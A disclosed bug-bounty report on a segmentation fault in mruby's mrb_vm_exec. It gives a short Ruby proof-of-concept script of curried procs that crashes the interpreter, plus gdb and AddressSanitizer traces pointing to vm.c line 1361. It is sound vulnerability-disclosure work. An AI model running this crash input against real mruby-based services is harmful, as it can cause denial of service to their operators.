shopify-scripts · Report #214845
SIGSEGV in mrb_vm_exec
Validstatus
6upvotes
13 May 2017disclosed
How it was found
PoC
The following code triggers the bug (attached as test_mrb_vm_exec.rb):
s=proc{|f,g,x|f[x][g[x]]}.curry
k=proc{|x,y|x}.curry
i=proc{|x|x}.curry
fi0=[]
re0=proc{|x|fi0.size;x}.curry
[s[s[i][i]][k[i]]][0][s[s[k[s]][s[k[s]][s[s[k[s]][s[k[s[k[re0]]]][s[k[s]][k]]]][k]]]][k[s[k[s]][k]]]]
Debug - mirb
x@x:~/Desktop/test/mruby/bin$ gdb -q ./mirb
Reading symbols from ./mirb...done.
(gdb) r test_mrb_vm_exec.rb
Starting program: /home/x/Desktop/test/mruby/bin/mirb test_mrb_vm_exec.rb
mirb - Embeddable Interactive Ruby Shell
=> #<Proc:0x6b2290@/home/x/Desktop/test/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> #<Proc:0x6b2080@/home/x/Desktop/test/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> #<Proc:0x6b1e70@/home/x/Desktop/test/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> []
=> #<Proc:0x6b1660@/home/x/Desktop/test/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000407731 in mrb_vm_exec (mrb=0x6b0010, proc=0x844e00, pc=0x6af540 <call_iseq>) at /home/x/Desktop/test/mruby/src/vm.c:1361
1361 regs[0] = m->env->stack[0];
(gdb) info reg
rax 0x3 3
rbx 0x7ffff7fa2400 140737353753600
rcx 0x7ffff7fa23c0 140737353753536
rdx 0xffffffffffffffff -1
rsi 0x4 4
rdi 0x7ffff7fa23f0 140737353753584
rbp 0x7fffffffc930 0x7fffffffc930
rsp 0x7fffffffc360 0x7fffffffc360
r8 0x3 3
r9 0x7ffff7acd7b8 140737348687800
r10 0x1 1
r11 0x246 582
r12 0x401ca0 4201632
r13 0x7fffffffdf30 140737488346928
r14 0x0 0
r15 0x0 0
rip 0x407731 0x407731 <mrb_vm_exec+8963>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) l
1356 }
1357 else {
1358 stack_extend(mrb, irep->nregs, ci->argc+2);
1359 }
1360 if(m->env) {
1361 regs[0] = m->env->stack[0];
1362 }
1363 pc = irep->iseq;
1364 JUMP;
1365 }
(gdb) x/x $rax
0x3: Cannot access memory at address 0x3
Backtrace - mirb
(gdb) bt
#0 0x0000000000407731 in mrb_vm_exec (mrb=0x6b0010, proc=0x844e00, pc=0x6af540 <call_iseq>) at /home/x/Desktop/test/mruby/src/vm.c:1361
#1 0x000000000040542c in mrb_vm_run (mrb=0x6b0010, proc=0x6b15a0, self=..., stack_keep=6) at /home/x/Desktop/test/mruby/src/vm.c:823
#2 0x0000000000402b90 in main (argc=2, argv=0x7fffffffdf38) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549
Clang - mirb
x@x:~/Desktop/test/mruby/bin$ ASAN_SYMBOLIZER_PATH=//usr/lib/llvm-3.8/bin/llvm-symbolizer ../../clang/mruby/bin/mirb test_mrb_vm_exec.rb
mirb - Embeddable Interactive Ruby Shell
=> #<Proc:0x62f0000021a0@/home/x/Desktop/test/clang/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> #<Proc:0x62f000001f90@/home/x/Desktop/test/clang/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> #<Proc:0x62f000001d80@/home/x/Desktop/test/clang/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
=> []
=> #<Proc:0x62f000001570@/home/x/Desktop/test/clang/mruby/mrbgems/mruby-proc-ext/mrblib/proc.rb:30>
ASAN:DEADLYSIGNAL
=================================================================
==2439==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000003 (pc 0x0000004f7e0d bp 0x7ffff413e660 sp 0x7ffff413d8d0 T0)
#0 0x4f7e0c in mrb_vm_exec /home/x/Desktop/test/clang/mruby/src/vm.c:1361:29
#1 0x4f5bae in mrb_vm_run /home/x/Desktop/test/clang/mruby/src/vm.c:823:10
#2 0x4f3010 in main /home/x/Desktop/test/clang/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549:18
#3 0x7f8014effec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
#4 0x41a575 in _start (/home/x/Desktop/test/clang/mruby/bin/mirb+0x41a575)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/x/Desktop/test/clang/mruby/src/vm.c:1361:29 in mrb_vm_exec
==2439==ABORTING
Debug - mruby
x@x:~/Desktop/test/mruby/bin$ gdb -q ./mruby
Reading symbols from ./mruby...done.
(gdb) r test_mrb_vm_exec.rb
Starting program: /home/x/Desktop/test/mruby/bin/mruby test_mrb_vm_exec.rb
Program received signal SIGSEGV, Segmentation fault.
0x000000000044248a in mrb_vm_exec (mrb=0x6af010, proc=0x102f610, pc=0x6ae290 <call_iseq>) at /home/x/Desktop/test/mruby/src/vm.c:1361
1361 regs[0] = m->env->stack[0];
(gdb) info reg
rax 0x2 2
rbx 0x7ffff7325290 140737340658320
rcx 0x7ffff7325250 140737340658256
rdx 0xffffffffffffffff -1
rsi 0x4 4
rdi 0x7ffff7325280 140737340658304
rbp 0x7fffffffdb30 0x7fffffffdb30
rsp 0x7fffffffd560 0x7fffffffd560
r8 0x3 3
r9 0x46e911 4647185
r10 0x21021 135201
r11 0x201 513
r12 0x401b20 4201248
r13 0x7fffffffdf30 140737488346928
r14 0x0 0
r15 0x0 0
rip 0x44248a 0x44248a <mrb_vm_exec+8963>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) l
1356 }
1357 else {
1358 stack_extend(mrb, irep->nregs, ci->argc+2);
1359 }
1360 if(m->env) {
1361 regs[0] = m->env->stack[0];
1362 }
1363 pc = irep->iseq;
1364 JUMP;
1365 }
(gdb) x/x $rax
0x2: Cannot access memory at address 0x2
Backtrace - mruby
(gdb) bt
#0 0x000000000044248a in mrb_vm_exec (mrb=0x6af010, proc=0x102f610, pc=0x6ae290 <call_iseq>) at /home/x/Desktop/test/mruby/src/vm.c:1361
#1 0x0000000000440185 in mrb_vm_run (mrb=0x6af010, proc=0x6b13b0, self=..., stack_keep=0) at /home/x/Desktop/test/mruby/src/vm.c:823
#2 0x0000000000448587 in mrb_top_run (mrb=0x6af010, proc=0x6b13b0, self=..., stack_keep=0) at /home/x/Desktop/test/mruby/src/vm.c:2614
#3 0x0000000000438e8d in mrb_load_exec (mrb=0x6af010, p=0x70cf10, c=0x70bb60) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5760
#4 0x0000000000438f23 in mrb_load_file_cxt (mrb=0x6af010, f=0x70cb50, c=0x70bb60) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5769
#5 0x0000000000402415 in main (argc=2, argv=0x7fffffffdf38) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
Clang - mruby
x@x:~/Desktop/test/mruby/bin$ ASAN_SYMBOLIZER_PATH=//usr/lib/llvm-3.8/bin/llvm-symbolizer ../../clang/mruby/bin/mruby test_mrb_vm_exec.rb
ASAN:DEADLYSIGNAL
=================================================================
==2413==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x00000053d26d bp 0x7fff0300bd40 sp 0x7fff0300afb0 T0)
#0 0x53d26c in mrb_vm_exec /home/x/Desktop/test/clang/mruby/src/vm.c:1361:29
#1 0x53b00e in mrb_vm_run /home/x/Desktop/test/clang/mruby/src/vm.c:823:10
#2 0x543ad3 in mrb_top_run /home/x/Desktop/test/clang/mruby/src/vm.c:2614:12
#3 0x52cc90 in mrb_load_exec /home/x/Desktop/test/clang/mruby/mrbgems/mruby-compiler/core/parse.y:5760:7
#4 0x52ce62 in mrb_load_file_cxt /home/x/Desktop/test/clang/mruby/mrbgems/mruby-compiler/core/parse.y:5769:10
#5 0x4f2b83 in main /home/x/Desktop/test/clang/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227:11
#6 0x7fe2af970ec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
#7 0x41a4e5 in _start (/home/x/Desktop/test/clang/mruby/bin/mruby+0x41a4e5)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/x/Desktop/test/clang/mruby/src/vm.c:1361:29 in mrb_vm_exec
==2413==ABORTING